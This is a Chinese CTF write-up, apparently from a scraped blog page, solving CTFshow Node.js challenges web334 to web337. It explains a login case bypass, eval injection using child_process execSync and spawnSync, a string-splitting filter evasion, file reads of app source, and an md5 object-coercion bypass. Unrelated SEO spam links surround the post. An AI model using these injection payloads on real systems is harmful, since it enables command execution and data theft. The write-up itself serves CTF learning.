当前位置: 首页 > news >正文

四川成都私人网站建设恩城seo的网站

四川成都私人网站建设,恩城seo的网站,wordpress翻页加li,抖音优化排名什么是nodejs Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器 Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器…

什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

这也是我第一次接触js 正好学习一下 js的前端和后端的处理方式 代码会有详细的解释

web334

首页面

后端user.js文件

module.exports = {items: [//这是一个属性 是一个数组 是一个包含用户名和密码的对象{username: 'CTFSHOW', password: '123456'}]
};

后端 login.js文件

var express = require('express');//引入 Express 框架(模块),用于构建 Web 应用程序
var router = express.Router();//创建一个新的路由处理器实例,用于定义和组织路由
var users = require('../modules/user').items;//引入用户数据模块,假设这里的 user 模块包含了用户数据信息
//定义一个函数 参数为name和password
//并且使用find数组方法 遍历整个数组的元素 每个元素作为返回值传给回调函数作为参数
//判断是否有符合条件的 如果有 findUser 函数会立即返回该用户对象;如果没有找到任何匹配的用户对象,则返回 undefined
var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
/* GET home page. */
//这段代码是一个路由处理函数,当客户端发送 POST 请求到根路径 / 时会执行该函数
// 首先设置回复方式为html 
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';//通过 req.session 创建或获取当前会话的 Session 对象var sess = req.session;//获取数据中的用户名和密码作为finduser函数的参数 函数返回值赋值给uservar user = findUser(req.body.username, req.body.password);//如果user存在 执行代码//重新生成会话,并执行回调函数。regenerate 方法用于销毁当前会话并创建一个新的会话,//以确保会话安全性。回调函数中的参数 err 是一个可能的错误对象。如果会话生成过程中出现错误,将通过返回一个 JSON 响应表示登录失败if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }//将用户对象的用户名赋值给会话对象的 loginUser 属性req.session.loginUser = user.username;//返回一个 JSON 响应对象,其中包含登录成功的信息,以及之前设置的 flag 变量的值res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  
});
module.exports = router;

前端的js

<script>$('.btn').click(function(){login();//如果点击btn类名的元素时执行login函数});function login(){ $.ajax({//开启一个异步 定义提交数据类型以及 提交的位置url:'/login',type:'post',data:{username:$('#username').val(),password:$('#password').val()},//数据包返回 会将数据先解析为json格式 然后进行判断success:function(data){data = JSON.parse(data);if(data.ret_code===0){alert(data.ret_flag);}else{alert(data.ret_msg);}                }});}
</script>

其实有用的就是 后端js的判断 

已知用户数据中有 账号为CTFSHOW 密码为123456

判断条件

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

如果提交的name不等于CTFSHOW 且数据中的usernmae等于提交的name的大写 且 数据的password等于提交的password

这样提交小写的ctfshow密码为123456即可

web335

查看源码提示传一个参数 考虑到这里是nodejs,eval很有可能在后端是执行的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

传入一个1 回显1 传一个ls无回显 那是正常的 因为这不是shell环境无法ls 这是nodejs环境执行的是js代码 那就想办法怎么执行js代码能做到执行shell代码

这里我们使用require()函数来加载child_process模块 然后使用execSync方法来执行系统命令

require("child_process").execSync('ls')
 

require("child_process").execSync('cat fl00g.txt')

web336

和上一题一样 没什么区别 估计是后端的处理有区别

就是禁用了exec

答案

先用__filename查看当前目录路径

然后读取当前文件名查看过滤点

require('fs').readFileSync('/app/routes/index.js','utf-8')

第一种

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
为什么?eval=require( 'child_process' ).spawnSync( 'ls' )不可以  大概解释就是他的返回结果是一个对象 不能输出 后面加入一个.stdout代表标准输出 也能成功以字符串形式输出再加一个.toString它会将被调用对象转换为字符串表示查看文件

?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

第二种

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

第三种读取函数方式

?eval=require("fs").readdirSync('.')     查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

web337

var express = require('express');//引入了 Express 模块,它是一个基于 Node.js 平台的 Web 开发框架
var router = express.Router();   //创建了一个新的路由对象
var crypto = require('crypto');  //引入了 Node.js 内置的 crypto 模块。该模块提供了一些加密和哈希算法
function md5(s) { //md5函数用于加密return crypto.createHash('md5').update(s).digest('hex');
}
/* GET home page. */
//路由接收到一个get传到当前页面的数据 设置返回类型为html
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;//判断条件的要求是 a和b有值且不相等 长度相等 与flag合并后md5加密相等if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}
});
module.exports = router;

一说两个不一样的进行md5加密 还能相等 那一定就是用到了该变成语言的特性

举个例子

a={'':'1'} //定义一个对象 属性名为空 属性值为1
b={'':'2'}
const c = [1];//定义一个常量数组c 值为1 
const d = [2];
console.log(a+"flag")输出到控制台
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
//直接如果是一个对象直接输出 就显示[object Object]
[object Object]flag
[object Object]flag
1flag//数组要是输出那就是数组值
2flag

php中,无论是a[0]=1,a[1]=3…这种key为0,1,2…递增的,还是a[‘x’]=1,a[‘y’]=2这种自定义key的,都叫做数组array;而js中,前者叫数组,后者叫对象(Object)

自然的出答案 这三个但一个意思 都是将a和b当成对象进行赋值

?a[x]=1&b[x]=2
?a[]=1&b[]=1

a[:]=1&b[:]=2

http://www.hkea.cn/news/255416/

相关文章:

  • 乌镇网站建设标书百度站长工具域名查询
  • 制作公司网站价格腾讯广告代理商加盟
  • 大学生活动网站开发文案苏州seo门户网
  • 阿里云认证网站建设题库seo助理
  • 凤岗网站仿做靠谱seo外包定制
  • xampp安装wordpress说明徐州seo外包
  • 啥网站都能看的浏览器下载百度收录查询工具
  • 福田附近公司做网站建设哪家效益快奶糖 seo 博客
  • 临沂免费自助建站模板品牌整合营销
  • iis做本地视频网站找客户资源的网站
  • 做调查用哪个网站网络推广有多少种方法
  • 开发一个交易网站多少钱在线工具
  • 网站平台怎么建立的软文范例
  • 移动应用开发专业学什么东莞seo软件
  • 做宣传网站的公司手机百度极速版app下载安装
  • 私人可以做慈善网站吗外贸如何推广
  • 网站页面模板页面布局如何成为百度广告代理商
  • 瑞安外贸网站建设曲靖百度推广
  • 先做网站还是服务器销售营销方案100例
  • 用卫生纸做的礼物街网站免费网页空间到哪申请
  • 手游网站做cpc还是cpm广告号厦门网页搜索排名提升
  • 人个做外贸用什么网站好宁波百度seo点击软件
  • 诈骗网站怎么做的企业网站seo案例分析
  • 如何做网站接口湖南营销型网站建设
  • 进入兔展网站做PPt软文营销ppt
  • app网站新闻危机公关
  • 东莞关键词优化实力乐云seo南宁seo外包服务商
  • 做网站都是用源码么免费注册个人网站不花钱
  • 建设网站需要两种服务支持官网设计公司
  • 安庆做网站seo建站收费地震